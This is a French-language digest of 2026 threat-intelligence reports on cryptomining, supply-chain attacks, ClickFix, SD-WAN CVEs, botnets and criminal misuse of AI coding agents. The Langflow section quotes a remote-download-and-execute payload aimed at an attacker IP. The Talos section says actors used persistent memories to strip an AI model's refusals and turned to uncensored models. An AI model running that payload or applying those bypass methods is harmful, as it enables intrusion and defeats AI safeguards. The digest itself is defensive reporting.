XMRig

🔍 Contexte Publié le 4 août 2026 par Cisco Talos (Nick Biasini, Dmytro Korzhevin, Jaeson Schultz, Vanja Svajcer, Vitor Ventura, Arnaud Zobec), cet article présente une analyse data-driven de l’utilisation malveillante de l’IA par des acteurs de menace, basée sur la collecte de journaux de prompts laissés par des outils comme Claude Code, CodeX, Cursor ou Gemini sur des endpoints compromis. 🧩 Trois catégories d’usage malveillant identifiées 1. L’IA comme ingénieur logiciel malveillant Opérateur DDoS : acteur peu qualifié ayant utilisé l’IA pour développer des outils d’attaque DDoS ciblant des Android TV, contrôlant environ 2 000 bots. Plateforme de validation d’emails en masse : acteur intermédiaire ayant utilisé l’IA comme développeur principal pour assembler une infrastructure PowerMTA + Node.js + PostgreSQL/TimescaleDB + Docker, validant des dizaines de millions d’adresses issues de bases tierces (BigBasket, etc.) via envoi réel de messages avec pixel de tracking. Domaine impliqué : tubely[.]com, lié à Astute Software. Exploitation React2Shell / Token Pipeline : acteur francophone ayant développé un scanner Go haute vitesse et un pipeline shell+Python pour extraire des credentials depuis des fichiers .git/config exposés, ciblant 9 180 hôtes issus d’une liste de 90 millions d’URLs. Collecte de 138 configurations SMTP validées, 179 clés Mailgun, 60 clés Brevo. Cryptojacking via clients torrent : acteur turcophone ayant exploité des credentials faibles sur Deluge (814 instances, mot de passe par défaut “deluge”) et qBittorrent (68/8800 interfaces) pour déployer XMRig via un plugin Python malveillant, avec un maximum de 582 mineurs connectés via XMRig Proxy vers MoneroOcean. 2. L’IA comme multiplicateur de force criminelle Acteur russophone : utilisation de mémoires persistantes pour conditionner le modèle à opérer sans refus éthiques, construction d’un chatbot de scam ciblant les cryptomonnaies avec vérification automatique de credentials. Acteur hispanophone : agent autonome “Alex” basé sur le framework OpenClaw, ciblant les Telegram Mini Apps et le drainage de wallets crypto. Utilisation d’un modèle non censuré après échec avec le modèle censuré. Dump de BDD (1 300+ utilisateurs, centaines de wallets TON), clonage d’applications victimes (“SweetBirds” → “RedBirds”). 3. L’IA comme accélérateur de bug bounty et pentest Framework Hephaestus : toolkit red team autonome décomposant les campagnes en agents spécialisés (scout, hunter, navigator, strike agent) avec 15 playbooks, ayant réussi des compromissions principalement en Asie du Sud-Est. Opérateur brésilophone : 64 sessions documentant du pentest sur des sites e-commerce et santé brésiliens, avec plus de 500 actions shell automatisées, tentative de brute-force WordPress XML-RPC avec RockYou (~1,9M candidats). Opérateur sinophone : ciblage de plateformes de streaming live (chuye[.]cam, ixmax[.]cn basées sur ZLMediaKit) et de services IA (NewAPI), avec 4 200+ actions shell, découverte d’une chaîne SSRF → RCE via FFmpeg, tentative d’exploitation d’une vulnérabilité mémoire NGINX. 🛡️ Contournement des guardrails Les techniques observées incluent : ...

🔍 Contexte Rapport de threat intelligence publié par ThreatMon Research Team en juillet 2026, analysant en profondeur le groupe TeamPCP, acteur cybercriminel apparu fin 2025 et devenu rapidement un acteur majeur des attaques sur la chaîne d’approvisionnement logicielle open-source. 🧩 Origine et évolution TeamPCP a débuté par l’exploitation opportuniste d’infrastructures cloud exposées (APIs Docker non protégées, plans de contrôle Kubernetes, instances Redis mal configurées), déployant XMRig pour le minage de Monero et utilisant Sliver, FRP et GO Simple Tunnel pour la persistance et le C2. En l’espace de trois mois, le groupe a pivoté vers une stratégie plus scalable centrée sur le vol de credentials via la compromission de la supply chain logicielle. ...

🗓️ Contexte Source : BleepingComputer, publié le 25 juillet 2026. La campagne a été signalée par un lecteur de BleepingComputer, qui a alerté la rédaction sur une activité malveillante observée sur les forums de discussion Steam. 🎯 Description de l’attaque Des acteurs malveillants créent des comptes Steam aléatoires pour répondre à des posts d’utilisateurs signalant des problèmes (crashs de jeux, inventaires perdus, problèmes techniques). Ils proposent de fausses solutions en demandant aux victimes d’ouvrir PowerShell en tant qu’administrateur et d’exécuter une commande fournie. Cette technique est connue sous le nom de ClickFix, une tactique d’ingénierie sociale exploitant la confiance des utilisateurs cherchant une solution à un problème réel. ...

🔍 Contexte Publié le 20 juillet 2026 par VMRay Labs (source : vmray.com), ce rapport présente l’analyse complète d’une campagne cybercriminelle russophone jusqu’alors non attribuée, baptisée Operation STANDOFF. La découverte initiale provient d’un signal comportemental issu de la plateforme UniqueSignal de VMRay, à partir d’un échantillon analysé le 13 mai 2026. 🎯 Vecteur initial et chaîne d’infection L’échantillon initial, setup_x86_x64_install.exe (MD5 : e77221d7a4b47b9107ba1b61a551ca89), est un installeur NSIS de 16,65 Mo fonctionnant comme un loader Pay-Per-Install (PPI). Il dépose entre 40 et 50 exécutables dans %LOCALAPPDATA%\Temp\7zSCB82E89C\ sous des noms aléatoires MONXXXXXXXX.exe et installe simultanément plusieurs familles de malwares : ...

🔍 Contexte Publié le 23 juin 2026 par Trend Micro (Simon Dulude et John Zhang), cet article présente une analyse technique complète d’une campagne de cryptominage exploitant CVE-2026-33017, une vulnérabilité d’exécution de code à distance non authentifiée dans Langflow, un framework Python de construction de workflows LLM. 🎯 Vecteur d’accès initial L’exploitation cible l’endpoint POST /api/v1/build_public_tmp/{flow_id}/flow de Langflow, qui évalue du code Python sans authentification. L’attaquant injecte __import__('os').system('curl http://83.142.209.214:8080/isp.sh | sh') pour déclencher la chaîne d’infection. Le même flow_id UUID (0ee284cc-0eb1-493f-bc60-94fa8d1cfd18) est réutilisé dans toutes les tentatives. La fenêtre d’observation couvre 19 jours (27 mars – 15 avril 2026). ...

🔍 Contexte WithSecure Labs publie le 28 mai 2026 une analyse approfondie d’un groupe de menace nouvellement tracké sous le nom GREYVIBE, actif depuis au moins août 2025 et ciblant principalement l’Ukraine et les entités liées à l’Ukraine dans le contexte du conflit russo-ukrainien. 🎯 Victimologie et ciblage Le groupe cible une population diverse : Entités militaires ukrainiennes (dont des combattants à Kharkiv) Entités gouvernementales (Conseil municipal de Kyiv, Service d’État des communications spéciales) Entités civiles et commerciales Secteur énergie (entreprise énergétique ukrainienne) 📦 Vecteurs d’attaque et campagnes PhantomMail : Spear-phishing par e-mail depuis août 2025, avec archives ZIP/RAR hébergées sur Google Drive et 4sync, contenant des loaders PyInstaller ou JavaScript lançant la chaîne d’infection PhantomRelay. ...

🔍 Contexte Publié le 14 mai 2026 par l’équipe Research Special Operations (RSO) de Tenable, cet article de type FAQ documente l’exploitation active et continue de cinq vulnérabilités critiques dans Cisco Catalyst SD-WAN Controller et Manager, ainsi qu’une sixième vulnérabilité plus ancienne utilisée pour l’élévation de privilèges. 📅 Chronologie des divulgations 25 février 2026 : Cisco divulgue CVE-2026-20127 (CVSS 10.0, authentication bypass, déjà exploitée) et trois autres CVEs (CVE-2026-20133, CVE-2026-20128, CVE-2026-20122). CISA ajoute CVE-2026-20127 et CVE-2022-20775 au catalogue KEV. Mars 2026 : Exploitation de CVE-2026-20128 et CVE-2026-20122 confirmée. ZeroZenX Labs publie un PoC pour la chaîne CVE-2026-20133/20128/20122. Avril 2026 : Exploitation de CVE-2026-20133 confirmée. CISA ajoute CVE-2026-20133, CVE-2026-20128 et CVE-2026-20122 au KEV. 14 mai 2026 : Cisco divulgue CVE-2026-20182 (CVSS 10.0, zero-day, authentication bypass). CISA émet la Directive d’urgence 26-03 et ajoute CVE-2026-20182 au KEV avec échéance de remédiation au 17 mai 2026. 🛡️ Vulnérabilités impliquées CVE Description CVSS CVE-2026-20182 Authentication Bypass (Controller & Manager) 10.0 CVE-2026-20127 Authentication Bypass (Controller & Manager) 10.0 CVE-2026-20133 Information Disclosure (Manager) 7.5 CVE-2026-20128 Credential Access (Manager) 7.5 CVE-2026-20122 Arbitrary File Overwrite (Manager) 5.4 CVE-2022-20775 CLI Path Traversal / Privilege Escalation 7.8 🎯 Acteur principal : UAT-8616 UAT-8616, désigné par Cisco Talos comme un acteur de menace « hautement sophistiqué », exploite les infrastructures Cisco SD-WAN depuis au moins 2023. Son infrastructure présente des chevauchements avec des réseaux Operational Relay Box (ORB). Il cible des secteurs d’infrastructure critique. ...

🔍 Contexte Publié le 16 avril 2026 par BitSight, cet article constitue le second volet d’une série d’analyses sur le botnet RondoDox, actif depuis mai 2025 jusqu’à au moins janvier 2026. Il couvre en détail l’implant initial, le binaire principal, le protocole C2 et l’évolution des capacités du malware. 🦠 Chaîne d’infection L’infection débute par l’exploitation de vulnérabilités sur des systèmes exposés (ex: React2Shell, Netgear, Linksys, Edimax). Un script shell est exécuté en mémoire sans écriture disque, réalisant : ...

Source: Blog personnel de Jake Saunders. Contexte: l’auteur reçoit un abus report de son hébergeur Hetzner signalant du scanning réseau sortant; il découvre que son instance Umami (analytics) a été compromis via une faille Next.js récemment divulguée. L’incident démarre par un email d’abus Hetzner signalant du scanning vers une plage d’IP en Thaïlande. Sur le serveur (hébergé chez Hetzner et orchestré avec Coolify), l’auteur observe une charge CPU anormale et des processus de minage (xmrig) tournant en tant qu’utilisateur UID 1001. L’investigation montre la présence d’un dossier xmrig-6.24.0 à l’emplacement interne de Next.js dans le conteneur Umami, avec une commande pointant vers un pool Monero. ⛏️ ...